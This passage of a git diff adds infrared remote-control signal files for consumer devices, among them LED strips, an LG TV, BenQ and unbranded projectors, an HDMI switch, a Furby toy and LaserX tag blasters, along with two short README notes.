1484 264 1718 269 607 267 1727 250 1720 298 574 268 1715 262 1721 266 1718 269 59632 202 10692 307 117 528 120 176 470 175 289 444 117 257 117 205 118 178 2928 261 +# +name: Yellow +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 15192 4552 286 534 340 504 370 531 332 538 336 505 369 533 341 531 332 539 335 1647 340 1644 333 1650 337 1643 334 1649 338 1646 341 1642 335 1618 369 1615 372 536 338 539 335 542 332 1653 334 543 341 505 369 536 338 535 339 1644 333 1651 336 1648 339 532 342 1642 335 1649 338 1645 332 53458 15180 2285 274 97156 15186 2284 275 +# +name: Purple +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4426 4547 281 591 283 585 289 582 281 587 287 584 290 582 281 590 315 558 284 1697 290 1694 283 1699 288 1693 284 1698 289 1684 345 1647 319 1616 340 578 296 1692 295 1691 296 581 293 1649 338 540 344 576 178 704 289 1683 262 619 286 596 278 1688 341 531 291 1690 297 1687 290 1713 274 59602 15175 2283 276 +# +name: Royal_Blue +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 5911 4553 317 555 287 584 290 582 281 585 309 514 339 582 312 560 282 539 335 1701 286 1698 289 1695 282 1701 286 1697 311 1622 334 1702 285 1649 338 591 314 512 341 535 339 589 316 1619 368 558 295 584 310 513 340 1694 283 1702 285 1696 312 1670 317 556 286 1697 290 1690 308 1677 289 58761 15166 2276 273 97195 15150 2285 274 diff --git a/assets/resources/infrared/LED Lighting/BrandUnknown/Practical_Series_2.ir b/assets/resources/infrared/LED Lighting/BrandUnknown/Practical_Series_2.ir new file mode 100644 index 000000000..a03f4f1bf --- /dev/null +++ b/assets/resources/infrared/LED Lighting/BrandUnknown/Practical_Series_2.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: Practical_series_2 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 45 00 00 00 +# +name: On +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 45 00 00 00 +# +name: Bright_2 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 46 00 00 00 +# +name: Off_3 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 47 00 00 00 +# +name: C_4 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 40 00 00 00 +# +name: 6 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 43 00 00 00 +# +name: S_7 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 15 00 00 00 +# +name: 9 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 09 00 00 00 +# +name: Red_10 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 16 00 00 00 +# +name: Green_11 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 19 00 00 00 +# +name: Blue_12 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: 13 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: 14 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 18 00 00 00 +# +name: 15 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: 16 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 17 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: 18 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: 19 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 42 00 00 00 +# +name: 20 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 52 00 00 00 +# +name: 21 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 4A 00 00 00 diff --git a/assets/resources/infrared/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir b/assets/resources/infrared/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir new file mode 100644 index 000000000..75da62cbe --- /dev/null +++ b/assets/resources/infrared/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: ON +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 00 FF 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 01 FE 00 00 +# +name: Reset +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 02 FD 00 00 +# +name: Cool +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 04 FB 00 00 +# +name: Soft +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 05 FA 00 00 +# +name: Warm +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 06 F9 00 00 +# +name: DIM_UP +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 03 FC 00 00 +# +name: DIM_DOWN +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 07 F8 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 08 F7 00 00 +# +name: Light_RED +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 09 F6 00 00 +# +name: Orange +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0A F5 00 00 +# +name: Yellow +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0B F4 00 00 +# +name: Green +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0C F3 00 00 +# +name: Light_Green +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0D F2 00 00 +# +name: Light_Blue +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0E F1 00 00 +# +name: Cyan +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0F F0 00 00 +# +name: Blue +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 10 EF 00 00 +# +name: Dark_Blue +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 11 EE 00 00 +# +name: Purple +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 12 ED 00 00 +# +name: Pink +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 13 EC 00 00 +# +name: Flash +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 14 EB 00 00 +# +name: Strobe +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 15 EA 00 00 +# +name: Fade +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 16 E9 00 00 +# +name: Smooth +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 17 E8 00 00 diff --git a/assets/resources/infrared/LED Lighting/mlambert_rope_light.ir b/assets/resources/infrared/LED Lighting/mlambert_rope_light.ir new file mode 100644 index 000000000..c8bddd09c --- /dev/null +++ b/assets/resources/infrared/LED Lighting/mlambert_rope_light.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: Off +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 1F E0 00 00 +# +name: On +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 1E E1 00 00 +# +name: Brighter +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 1C E3 00 00 +# +name: Dimmer +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 1D E2 00 00 +# +name: Red +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 00 FF 00 00 +# +name: Green +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 01 FE 00 00 +# +name: Blue +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 02 FD 00 00 +# +name: White +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 03 FC 00 00 +# +name: Light_red +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 04 FB 00 00 +# +name: Orange +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 08 F7 00 00 +# +name: Light_yellow +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0C F3 00 00 +# +name: Yellow +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 10 EF 00 00 +# +name: Light_green +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 05 FA 00 00 +# +name: Light_blue +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 09 F6 00 00 +# +name: Aqua +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0D F2 00 00 +# +name: Turquoise +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 11 EE 00 00 +# +name: Mid_blue +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 06 F9 00 00 +# +name: Dark_purple +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0A F5 00 00 +# +name: Purple +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0E F1 00 00 +# +name: Light_purple +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 12 ED 00 00 +# +name: Fade +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 07 F8 00 00 +# +name: Jump +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0B F4 00 00 +# +name: Asyn_fade +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0F F0 00 00 +# +name: Asyn_jump +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 13 EC 00 00 +# +name: Speed +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 17 E8 00 00 +# +name: 6h +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 14 EB 00 00 +# +name: 12h +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 15 EA 00 00 +# +name: Timer_off +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 16 E9 00 00 diff --git a/assets/resources/infrared/Miscellaneous/AMI/AMI_Jukebox.ir b/assets/resources/infrared/Miscellaneous/AMI/AMI_Jukebox.ir new file mode 100644 index 000000000..89ae51a7c --- /dev/null +++ b/assets/resources/infrared/Miscellaneous/AMI/AMI_Jukebox.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: Ami +type: parsed +protocol: RC5 +address: 14 00 00 00 +command: 0C 00 00 00 +# +name: Ch_1_vol_up +type: parsed +protocol: RC5 +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: Ch_1_vol_down +type: parsed +protocol: RC5 +address: 14 00 00 00 +command: 28 00 00 00 +# +name: Ch_2_vol_up +type: parsed +protocol: RC5 +address: 14 00 00 00 +command: 11 00 00 00 +# +name: Ch_2_vol_down +type: parsed +protocol: RC5 +address: 14 00 00 00 +command: 23 00 00 00 diff --git a/assets/resources/infrared/Miscellaneous/HDMI_Switch.ir b/assets/resources/infrared/Miscellaneous/HDMI_Switch.ir new file mode 100644 index 000000000..e413dfc0b --- /dev/null +++ b/assets/resources/infrared/Miscellaneous/HDMI_Switch.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 0C 00 00 00 +# +name: Hdmi_1 +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 01 00 00 00 +# +name: Hdmi_2 +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 03 00 00 00 +# +name: Hdmi_3 +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 07 00 00 00 +# +name: Hdmi_4 +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 09 00 00 00 +# +name: Hdmi_5 +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 0D 00 00 00 diff --git a/assets/resources/infrared/Miscellaneous/Hasbro/Furby/Furby.ir b/assets/resources/infrared/Miscellaneous/Hasbro/Furby/Furby.ir new file mode 100644 index 000000000..ece3d6a17 --- /dev/null +++ b/assets/resources/infrared/Miscellaneous/Hasbro/Furby/Furby.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: Dance1 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 223 8061 180 3550 177 32939 249 978 375 395 656 469 551 523 580 1646 550 547 577 524 579 494 578 523 601 1624 552 547 577 497 606 1618 558 1643 574 524 579 4595 600 526 608 490 582 1619 577 521 551 548 555 546 578 520 552 1649 579 494 578 521 603 1623 605 1569 607 518 554 4646 549 550 584 491 633 1567 577 546 578 496 576 549 585 514 579 1620 587 513 580 520 552 1648 580 1619 577 522 581 4620 575 524 558 516 577 1647 549 526 608 516 577 497 575 549 585 1588 577 549 575 524 579 1619 577 1624 604 495 577 4622 604 471 601 498 584 1641 576 497 585 515 609 516 577 496 576 1651 577 496 576 524 610 1615 550 1650 578 521 603 4596 557 542 603 498 574 1624 583 517 576 524 558 541 552 549 575 1623 584 516 577 523 549 1650 578 1621 586 515 557 28415 260 3920 177 +# +name: Dance2 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 182 9191 373 5556 176 464 181 34834 575 550 574 525 558 542 582 518 575 524 579 520 552 548 555 544 580 1619 578 1622 575 1626 602 1596 580 495 608 4642 575 499 552 546 578 523 549 549 554 547 556 543 581 518 554 545 558 1641 556 1644 584 1616 549 1649 558 542 582 4643 553 521 551 548 555 545 579 521 582 515 578 523 549 550 553 546 557 1643 575 1624 583 1617 559 1666 552 522 550 4676 551 523 549 550 553 545 558 541 604 497 554 545 558 541 552 548 576 1624 552 1646 551 1649 579 1621 576 524 579 4620 555 544 580 521 551 547 556 543 581 519 584 515 557 542 551 550 553 1645 552 1649 548 1650 578 1622 554 547 556 4667 560 515 557 541 583 518 575 524 558 541 583 517 576 523 549 550 553 1647 602 1598 557 1641 556 1644 584 516 556 38389 233 +# +name: Sleep1 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 180 253 173 51496 554 545 579 546 526 625 478 569 555 544 528 572 531 568 525 574 550 549 523 576 527 1699 498 1675 532 1693 504 4695 501 574 529 570 523 576 527 573 551 547 525 574 529 596 507 592 501 574 529 570 523 1701 506 1694 503 1671 526 4699 528 546 526 546 557 569 524 575 528 571 532 567 557 543 529 570 533 566 527 573 551 1673 503 1671 526 1673 524 4702 504 543 550 575 559 541 531 568 525 574 529 570 533 567 526 573 530 570 523 577 526 1672 556 1643 554 1646 530 4694 502 573 530 570 523 550 553 570 533 567 557 542 530 544 549 576 559 541 531 568 556 1644 532 1667 530 1645 552 4671 525 576 527 571 532 568 525 600 503 570 533 566 527 573 530 569 524 575 559 565 507 1668 529 1671 526 1648 549 31609 255 2724 176 +# +name: Joke1 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 500 599 525 549 554 1670 475 624 500 575 580 1642 503 572 583 491 581 596 476 624 479 1694 503 596 507 541 552 4699 507 592 532 542 530 1695 502 573 530 569 524 1701 506 593 500 574 529 570 554 571 501 1724 473 576 527 573 551 4672 482 620 504 644 449 1675 636 516 504 542 530 1695 502 598 505 568 525 601 502 597 527 1646 530 545 548 577 526 4698 508 540 584 568 504 1695 502 544 528 676 448 1675 532 592 532 542 530 544 299 877 476 1723 474 626 477 673 430 4667 560 541 552 548 524 1725 482 568 577 547 504 1719 478 599 504 570 523 599 504 544 476 1776 525 601 471 653 502 4645 530 570 554 521 530 1694 534 540 532 593 500 1699 529 571 501 598 526 599 473 576 559 1666 499 575 528 571 553 +# +name: Hello1 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 177 2149 172 13593 182 35351 555 544 580 520 552 573 530 569 524 1676 531 1668 528 1671 525 1674 554 520 552 573 551 523 549 551 552 573 551 4648 526 573 530 544 549 576 527 572 531 1668 560 1641 555 1643 553 1646 550 523 549 551 552 573 530 569 555 519 553 4697 498 551 583 542 530 544 549 550 553 1646 550 1674 533 1642 554 1671 526 548 555 570 554 545 558 516 577 523 549 4676 550 522 550 550 584 541 531 543 581 1644 552 1647 529 1671 525 1674 554 546 526 547 556 569 524 576 579 495 577 4673 501 547 577 522 550 575 528 571 532 1667 529 1671 525 1674 554 1646 550 548 524 551 573 552 530 543 581 544 528 4672 523 576 527 547 577 548 524 549 585 1640 525 1674 554 1646 530 1671 557 516 556 569 524 576 527 572 552 548 524 34558 249 49251 180 7903 176 +# +name: Hello2 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 199 875 181 9335 181 9478 173 32264 549 551 604 494 557 543 581 543 560 515 557 542 551 1623 573 1652 576 1623 584 1616 549 550 584 516 556 543 602 4624 530 544 549 550 584 515 557 543 550 550 553 546 557 1669 548 1649 558 1617 579 1645 551 523 549 550 584 542 530 4668 558 516 556 544 580 522 581 516 556 543 581 519 574 1626 550 1650 557 1643 553 1671 557 541 552 549 523 576 527 4672 523 551 604 495 556 544 549 575 559 515 557 542 582 1643 533 1668 549 1623 584 1643 533 541 552 573 582 518 523 4702 503 544 559 567 557 517 555 545 548 576 558 540 532 1643 585 1641 524 1674 533 1667 529 571 584 489 583 516 577 4649 557 517 555 544 559 566 558 516 556 544 549 576 558 1640 556 1644 532 1642 554 1670 558 542 551 550 522 551 552 20707 220 8337 174 9345 218 +# +name: Hello3 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 555 594 530 570 533 1666 499 1727 480 1720 476 1698 498 600 482 644 480 593 500 651 452 648 455 568 525 599 504 4697 529 545 527 573 478 1747 501 1723 473 1727 480 1745 451 597 506 593 500 600 503 597 506 594 499 625 478 622 481 4819 376 598 505 595 498 1675 532 1669 527 1697 499 1649 558 568 556 568 504 596 497 578 556 543 550 576 527 546 557 4642 449 676 448 653 502 1721 475 1700 507 1693 503 1721 507 568 504 595 529 571 501 599 504 620 483 617 476 624 479 4874 352 543 529 571 532 1692 525 1649 527 1674 522 1676 531 571 553 572 500 573 530 570 533 592 501 573 530 570 523 4704 533 538 555 546 526 1726 481 1668 528 1671 525 1674 533 566 527 549 554 570 523 576 527 547 556 570 554 545 558 95592 178 +# +name: Yousing1 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 179 1660 219 9003 174 3778 178 40710 556 568 577 497 554 545 558 566 527 599 504 569 524 1677 530 595 498 576 558 1642 523 1675 532 594 499 575 528 4698 497 576 527 573 530 569 524 576 527 572 531 569 524 1675 532 568 525 575 528 1698 498 1675 552 547 525 600 503 4671 524 575 559 566 506 568 556 543 529 572 531 568 525 1701 506 567 557 543 529 1696 500 1700 527 546 526 574 550 4701 504 544 528 571 532 568 556 543 529 572 531 567 557 1644 531 566 527 574 529 1670 526 1673 534 565 528 574 529 4695 500 575 549 551 531 568 525 549 554 570 554 546 526 1674 533 568 525 573 551 1675 501 1673 534 566 527 572 531 4695 500 574 529 570 533 566 558 567 526 549 533 566 527 1699 497 575 528 572 531 1669 527 1697 499 575 528 572 531 +# +name: Hide1 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 180 12679 178 38905 557 568 525 573 530 570 523 551 552 1673 554 545 527 572 531 569 524 550 553 1672 555 545 527 572 552 1647 528 4696 509 592 501 573 551 524 548 551 552 1673 523 601 502 573 551 548 524 576 558 1641 524 575 528 572 552 1647 560 4666 529 545 527 573 530 569 524 577 526 1672 556 544 528 572 531 568 525 575 528 1671 525 575 528 572 531 1668 549 4651 523 576 527 572 531 569 524 575 528 1671 525 576 527 572 531 568 525 574 529 1672 524 575 528 546 578 1647 528 4696 499 576 558 516 556 568 525 576 527 1672 524 575 528 572 531 568 525 574 529 1671 525 574 529 546 578 1647 528 4671 555 545 527 546 557 567 526 550 553 1671 525 575 528 571 532 567 526 574 529 1671 525 573 530 544 559 1667 529 34467 285 587 193 57659 180 8970 181 21187 176 +# +name: Hide2 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 175 108 198 15137 182 37800 579 543 529 571 532 1668 528 1672 524 575 528 572 531 593 499 575 528 546 578 520 552 573 530 570 585 1614 530 4696 499 576 527 572 531 1669 527 1698 529 545 579 494 557 543 602 498 553 571 532 568 525 575 528 546 557 1667 550 4676 498 576 558 543 529 1669 527 1698 498 575 528 598 505 569 524 550 553 597 506 594 499 601 502 572 552 1648 527 4697 497 577 557 542 530 1669 527 1724 483 565 528 573 530 569 524 576 527 572 552 548 555 570 502 572 531 1695 501 4697 508 567 526 574 529 1670 526 1673 534 567 526 573 530 569 524 577 557 541 531 569 524 576 527 573 530 1669 527 4697 508 592 501 549 585 1613 552 1674 533 566 558 541 531 570 533 566 527 572 531 570 533 591 502 573 530 1696 500 29225 180 +# +name: Party1 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 172 8707 173 129 271 15491 182 274 251 36035 581 598 505 568 556 1643 532 1668 528 571 532 567 526 1648 559 567 526 573 530 544 559 566 527 1648 559 540 553 4698 528 521 551 574 529 1671 525 1674 533 567 526 574 529 1670 526 573 530 569 555 545 506 594 530 1669 559 541 531 4670 525 574 529 569 534 1667 550 1674 501 573 530 570 575 1624 530 543 550 576 527 573 530 569 524 1676 530 569 524 4700 505 570 533 567 526 1672 535 1691 505 569 524 576 527 1673 523 575 528 598 505 594 499 576 527 1673 523 575 528 4672 554 571 501 573 551 1675 500 1673 554 571 501 573 530 1669 527 572 531 569 524 576 527 572 531 1669 527 571 532 4694 501 574 550 550 522 1702 505 1669 527 573 551 549 533 1691 505 570 523 577 526 572 531 594 530 1645 530 569 524 33034 182 54935 180 16737 180 +# +name: Party2 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 478 672 452 597 329 898 319 678 446 1804 226 849 452 571 303 1973 421 1830 377 621 451 647 477 1725 502 646 426 4775 451 699 352 621 534 666 182 818 478 1899 328 617 476 650 224 2130 295 1699 278 845 425 650 505 1747 449 648 455 4822 372 601 481 566 558 618 506 696 251 1821 500 575 528 748 324 1725 502 1746 450 600 524 601 481 1743 453 594 509 4743 451 673 430 592 532 594 181 919 481 1695 480 669 424 651 504 1745 430 1718 457 643 450 804 247 1747 449 650 297 4929 474 702 422 627 476 597 506 594 499 1803 424 624 479 621 451 1722 474 1751 424 649 475 599 504 1670 526 702 401 4671 555 697 375 648 455 594 181 969 483 1742 423 600 503 597 506 1692 504 1722 474 575 549 730 321 1725 502 596 507 +# +name: Mesing1 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 525 549 523 576 527 573 530 570 554 1618 578 1648 527 573 530 570 502 1695 532 569 555 544 559 540 532 593 500 4675 530 569 534 567 526 599 504 569 555 1645 582 1616 528 598 505 568 556 1644 531 569 524 576 527 572 635 464 524 4674 551 549 523 577 526 548 555 570 554 1645 551 1650 525 573 551 548 576 1624 530 569 555 545 558 515 578 548 555 4645 549 575 507 644 480 542 530 571 532 1666 551 1676 531 568 556 518 533 1642 554 621 482 567 526 573 530 595 498 4702 503 596 507 592 501 600 503 570 585 1641 503 1670 558 542 530 596 507 1692 504 570 523 601 502 573 530 595 508 4742 452 595 529 521 551 575 559 539 533 1667 529 1696 500 574 529 571 532 1693 534 564 508 593 500 574 529 595 508 +# +name: Yawn1 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 602 522 550 525 557 1667 550 574 508 566 527 573 530 570 533 566 527 573 530 570 533 566 558 1666 499 1676 531 4669 557 567 505 570 523 1703 504 569 534 592 501 598 505 569 524 576 558 541 531 569 524 575 528 1698 498 1675 532 4694 501 599 504 595 529 1696 500 548 524 602 501 573 530 569 524 601 502 572 531 594 499 601 502 1646 550 1701 506 4693 502 598 505 595 508 1691 557 568 473 576 558 566 527 573 499 576 558 566 527 598 474 600 503 1697 530 1668 528 4672 502 598 505 593 500 1727 480 568 556 545 558 540 532 568 525 550 553 597 506 568 525 574 529 1696 500 1674 533 4718 476 570 533 568 525 1700 507 592 501 625 478 597 506 593 500 626 477 570 533 592 501 600 503 1670 526 1673 534 29815 174 3405 176 diff --git a/assets/resources/infrared/Miscellaneous/LG/LG.ir b/assets/resources/infrared/Miscellaneous/LG/LG.ir new file mode 100644 index 000000000..d480fb71c --- /dev/null +++ b/assets/resources/infrared/Miscellaneous/LG/LG.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 08 00 00 00 +# +name: Input +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: Ok +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 44 00 00 00 +# +name: Chanel_up +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 00 00 00 00 +# +name: Channel_down +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 01 00 00 00 +# +name: Up +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 40 00 00 00 +# +name: Down +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 41 00 00 00 +# +name: Left +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 07 00 00 00 +# +name: Right +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 06 00 00 00 +# +name: Mute +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 09 00 00 00 +# +name: Volume_up +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 02 00 00 00 +# +name: Volume_down +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 03 00 00 00 +# +name: Surr_power +type: parsed +protocol: NEC +address: 08 00 00 00 +command: 10 00 00 00 +# +name: Surr_up +type: parsed +protocol: NEC +address: 08 00 00 00 +command: 1A 00 00 00 +# +name: Surr_down +type: parsed +protocol: NEC +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: Surr_mute +type: parsed +protocol: NEC +address: 08 00 00 00 +command: 16 00 00 00 diff --git a/assets/resources/infrared/Miscellaneous/LaserX/LaserX_Tag.ir b/assets/resources/infrared/Miscellaneous/LaserX/LaserX_Tag.ir new file mode 100644 index 000000000..4c2cd08e5 --- /dev/null +++ b/assets/resources/infrared/Miscellaneous/LaserX/LaserX_Tag.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: Red +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6329 528 581 464 1651 464 583 461 1654 462 575 470 598 474 1590 526 572 +# +name: Blue +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6496 535 553 512 1624 537 562 531 1626 509 559 534 534 533 555 511 1625 +# +name: All +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6467 536 563 504 1653 508 560 506 1651 511 557 510 578 516 1620 541 1677 diff --git a/assets/resources/infrared/Miscellaneous/ReadMe.md b/assets/resources/infrared/Miscellaneous/ReadMe.md new file mode 100644 index 000000000..75996ff83 --- /dev/null +++ b/assets/resources/infrared/Miscellaneous/ReadMe.md @@ -0,0 +1 @@ +Misc files that don't seem to fit elsewhere! diff --git a/assets/resources/infrared/Projectors/BenQ/BenQ.ir b/assets/resources/infrared/Projectors/BenQ/BenQ.ir new file mode 100644 index 000000000..d4b5c519c --- /dev/null +++ b/assets/resources/infrared/Projectors/BenQ/BenQ.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0A F5 00 00 +# +name: Input +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0C F3 00 00 +# +name: Vol_u +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 15 EA 00 00 +# +name: Vol_d +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1C E3 00 00 +# +name: Home +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1A E5 00 00 +# +name: Back +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 40 BF 00 00 diff --git a/assets/resources/infrared/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir b/assets/resources/infrared/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir new file mode 100644 index 000000000..635b42a41 --- /dev/null +++ b/assets/resources/infrared/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: On +type: parsed +protocol: NECext +address: 08 16 00 00 +command: 87 78 00 00 +# +name: Src +type: parsed +protocol: NECext +address: 08 16 00 00 +command: DC 23 00 00 +# +name: Menu +type: parsed +protocol: NECext +address: 08 16 00 00 +command: 8A 75 00 00 +# +name: Back +type: parsed +protocol: NECext +address: 08 16 00 00 +command: 8B 74 00 00 +# +name: Up +type: parsed +protocol: NECext +address: 08 16 00 00 +command: 84 7B 00 00 +# +name: Dwn +type: parsed +protocol: NECext +address: 08 16 00 00 +command: 8D 72 00 00 +# +name: Left +type: parsed +protocol: NECext +address: 08 16 00 00 +command: BB 44 00 00 +# +name: Right +type: parsed +protocol: NECext +address: 08 16 00 00 +command: 8E 71 00 00 +# +name: Ok +type: parsed +protocol: NECext +address: 08 16 00 00 +command: B2 4D 00 00 +# +name: Vup +type: parsed +protocol: NECext +address: 08 16 00 00 +command: 89 76 00 00 +# +name: Vdwn +type: parsed +protocol: NECext +address: 08 16 00 00 +command: B5 4A 00 00 +# +name: Mute +type: parsed +protocol: NECext +address: 08 16 00 00 +command: C8 37 00 00 diff --git a/assets/resources/infrared/Projectors/BrandUnknown/README.md b/assets/resources/infrared/Projectors/BrandUnknown/README.md new file mode 100644 index 000000000..b6927805d --- /dev/null +++ b/assets/resources/infrared/Projectors/BrandUnknown/README.md @@ -0,0 +1 @@ +These devices are of unknown brand and model. If you find what one of these is, please classify accordingly! Thank you! \ No newline at end of file diff --git a/assets/resources/infrared/Projectors/BrandUnknown/Scrn_innov.ir b/assets/resources/infrared/Projectors/BrandUnknown/Scrn_innov.ir new file mode 100644 index 000000000..43ae80d95 --- /dev/null +++ b/assets/resources/infrared/Projectors/BrandUnknown/Scrn_innov.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 181 7214 182 7213 173 4784 182 4774 181 4775 180 4777 178 4778 177 4779 176 4780 175 4781 174 7221 176 +# +name: Stop +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 180 7216 181 7214 183 4774 181 4775 180 4776 179 4777 179 4778 178 